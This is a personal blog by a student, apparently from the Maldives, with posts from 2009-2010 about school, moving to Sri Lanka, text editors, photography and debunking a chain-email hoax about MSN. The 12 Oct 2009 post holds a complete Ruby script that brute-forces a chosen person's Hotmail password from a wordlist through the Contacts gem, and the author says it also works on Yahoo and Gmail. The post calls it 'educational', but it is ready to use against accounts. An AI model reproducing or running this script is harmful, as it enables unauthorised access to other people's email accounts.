15 May 2010

The life as it is now

It's been a really long time since I wrote anything here, Been too active on facebook, twitter and busy in the real life.

Finished a module at college. But finishing plus submitting the assignment was such a drag. About the assignment, It was given for the 1 month break that we were getting, And in the breaks who would think of anything other than going back to the good old home land, Maldives. Went there had loads of fun with my pals, But unfortunately no luck getting the assignment done. Came here and did a late submission. Still managed to go through.

Here I am now. Back in Sri Lanka. Going to college again, And about the schedule, In the start felt like it would be easy, But it's not. Six days a week to classes, And that's pain in the ass. Anyways classes aren't boring, Made some friends. In the holidays it's all about hanging out with pals, play pool and coffees.

There is lots of time to spend here and new things and places to check out and explore, Just wanted to check on the blog and write something. Keep in touch people :)

12 Mar 2010

Bye bye E-TextEditor

Coding life isn't cool anymore with you. It's just that i have moved on. And using a pirated copy of yours is not cool.

ScreenShot

Today you failed on me. By not responding when I click on your icon to start coding away. So i made up my mind, "Its about time i switch and move on". So i uninstalled your ass off my system and sought a new new text editor. And i am in love with it. so bye bye.

Every ruby dude who is on windows and don't have the shit to move to a Mac OS would want to try out e and for additional tastes the of TextMate, Install the Monaco font and set it 9 points. Pretend like they are on TextMate. Well, I am over with it. And guess what. Now I am on some other editor. It's called Sublime Text.

http://i31.tinypic.com/15phogo.jpg

Until i get fed up with this new editor. I will just sit here and code away, And let you guys know what i am upto in the next blog post. So keep those mouse taps coming in to the subscribe button.

Here are some links to find both of the editors

Find E here

Fall in love with Sublime Text here <3

2 Mar 2010

Seriously, WTF!

Why do these people forward these stupid out-of-spammerville e-mails?. Maybe they think what is mentioned there in the mail is so true, Or just don't have the brains to think for a second about it, Before forwarding it to their whole contact list.

There are some e-mails explaining the case of a severe child or a serious case of an individual. But the following e-mail which i recieved today is well, just too hilarious. Come on guys. It's not like the world is going to end in 2 weeks or you wil be cursed for your entire if you don't forward it to some other bunch of guys on your contact list. Anyways read this which i got today.

Hi, 
This is Tara and John, the directors of MSN,
 
     Sorry for the interruption but MSN is closing down. This is because too many inconsiderate people are taking up all the name (e.g. Making up lots of different accounts for just one person, etc.), we only have 578 names left. If you would like to close your account, DO NOT SEND THIS MESSAGE ON. If you would like to keep your
Account, then SEND THIS MESSAGE TO EVERYONE ON YOUR CONTACT LIST. This is no
joke, we will be shutting down the servers. 

Send it on, thanks. 
 
P.S. 
     WHO EVER DOES NOT SEND THIS MESSAGE, YOUR ACCOUNT WILL BE CLOSED AND IT WILL COST YOU 10.00 A MONTH TO USE. SEND THIS TO EVERYONE ON YOUR CONTACT LIST. NOW YOU
KNOW WHAT TO DO. PLEASE DO NOT FORWARD THIS or REPLAY. COPY THE WHOLE EMAIL.
GO BACK TO YOUR INBOX AND CLICK ON NEW. AND PASTE THANK YOU FOR YOUR
ATTENTION. 

 
     This is no joke if you don't believe us then go to this site:
http://news.BBC.co.UK/1/hi/business/1189119.stm  
and see for yourself. Anyways once you've sent this message to at least 18 contacts, your MSN icon will become blue. Please copy and paste don't forward because people wont read them

First of all. Is it really a problem if one makes so many accounts for them?. Secondly. 578 names left? seriously wtf.! There is a warning too there mentioning about your account getting closed if you don't send the message to everyone on your contact list.

Also a link to a BBC article is listed there, But the fact is nothing about running out of names is mentioned there. It only says customers might have to pay for the extra features that they have to offer.

Anyways i highly recommend you all not to forward this kind of crap to other people on your contact list. They are highly annoying and fills up quite some space of our inbox if multiple people forward these mails.

6 Feb 2010

New Start

Hey guys. Been such a long time again since i have written something here. About life? it's great here, As college has started couple of days back and it's awesome. Apart from going to college i have been doing some photography these days too. Catching a bit of the lightning here and there and going out to the beach to capture some sky and the sand. It may not be as pleasing as the beaches in our country but still it's worth the shots for photography's sake.

Being unable to settle down completely, I have a lot of places to go and shoot, and to explore. Specially the thunderstorms here are quite spectacular and worth getting out with the tripod and camera. I got a good shot of a lightning strike and you can find it here if you are curious to check it out. Anyways i will be quite busy in the upcoming days as i will be going to 2 courses. And check out my photostream too.

29 Dec 2009

Google logo trick

I was searching the internet for cool ASCII art until i came up with this on google. It is a google search trick which changes it's logo on the top left side in the search results page.

Type in "ascii art" and hit enter. To check it out. Remember, It doesn't work when typed in "ASCII art" instead of "ascii art". Here is how it looks like

17 Dec 2009

Relocated!

It has been almost been a month since i got out of school. Now i am relocated in Sri Lanka, In the hope of getting higher education. It's been a couple of weeks since i got here. All i have to say is, It's pretty boring at the moment. But things are better than it was on fuvahmulah. Hoping to start my college days on january next year. Till then it's going to be pretty boring.

Keep in touch. This blog will be updated :)

10 Nov 2009

Finally! Exams/School is over

Ask me if i am excited, because i surely am today. 13 years of schooling is finally over. Mixed feelings linger in my head today, as i will miss the school moments so much. The fun we had over there and the precious moments with friends, will definitely miss them, And not to leave out my well-wishing teachers, Who were so nice to me. Specially this year's teachers. Will not forget them for sure. But this is what life is all about. Some new challenges are put up right infront of me. Will overcome any obstacles which may arise infront of me. Atleast i will try my best.

I am also about to leave the island, and move out in 4 days. So this is also going to be big, As i have never been out of my mother country before and will surely be a new experience for me. And in addition to that, as some of my buddies from this island are staying there for higher studies, meeting them there will be so much fun.

Will keep you all updated as much as possible. Just remember to stick with this blog, which i will be updating. Not regularly but in events of success and adventure. keep in touch mates.

12 Oct 2009

Bruteforce password cracker / ruby

hey dudes. Today i am going to share a code snippet i worked on couple of days ago. Originally the idea of this script was given by Nuvana.Her hubby recovered her lost password when she forgot it. So i wanted to get my hands dirty with some ruby code, and wanted to try out this one. Actually i succeeded.

The program is written in ruby so you need ruby interpreter to execute this, and the Contacts gem is needed as well. However performing attacks like this on people's accounts is not sensible and takes a lot of time. It is even not worth the time spent on cracking because there is only 20-30 percent chance of actually getting others passwords.

This program is written for educational purposes only and to let you all know that, these kinds of attacks exist and your account can be hacked. So i request you all to change your passwords to alpha-numeric for atleast a bare minimum. here is the code



#!D:\Ruby\bin\ruby
require "contacts"

# This program will have benchmarking
# set initial counter
i = Time.now

# Set initial wordlist 
passes = Array.new
file = File.open('words.txt','r')
file.each_line do |w|
    passes << w
end

# start the bruteforce attack with the provided wordlist
for $w in passes do
    begin
        contacts = Contacts::Hotmail.new(ARGV[0], $w).contacts
        puts "PWNED!! The password is #{$w}"
        break
    rescue Contacts::AuthenticationError
        puts "#{$w} as a password didn't work!"
    end
end

# output the time it took to execute the whole script
puts "It took #{Time.now - i} seconds to execute the whole attack!"


As you can see, cracking the passwords rely on the quality of the wordlist being used. This can be done to hotmail, yahoo and gmail passwords as well. The id must be passed as the first argument to the program in order to crack his/her password.

11 Oct 2009

Temporary shift

This is the place where i am going to be writing about my life and my daily encounters which i have to share with the world. What happend to my wordpress blog was, it got infected with the worm that has been spreading recently called "Cornficker". The actual meaning is offensive so i am not going to write it here. You can read about it in the wiki page here. The worm only affects users who are using the buggy windows, and for that fact i got infected.

I have some more stuff to share with you all, but as this time is my GCE O level exams, i will keep the noise level a little low. After the exams will rock this place with code snippets, tips and tricks and yes, my daily life encounters.

Wish me luck for my final exams. I will need it. :)

10 Mar 2009

On posterous

Hello everyone,

It has been such a long time since i haven't updated my blog, my previous blog is gone. its because of many reasons. one of the main reasons is that i screwed it up. forgot to take backup while doing some repairs on the blog, and i didnt have a backup copy of earlier time too. And the main reason i switched to posterous is i wanted simplicity. as i am a hardcore believer of the words "from simplicity comes creativity" that will be true in the modern web 2.0 world.

i have developed and designed my personal homepage too. it is the second design i did. when i did  the first one didn't get a good positive comment. it was like "think out of the box dude" so i changed the blog layout and designs and simplified the theme. removed the images and all, but still it looks better than the last one i think.

this will be the place where i will be updating my status and the good thing about this is i will be able to update on the move. i will be posting about web designing, tips and tricks and some personal stuff's too. so stay tuned.

Mazzn's Posterous

I make webs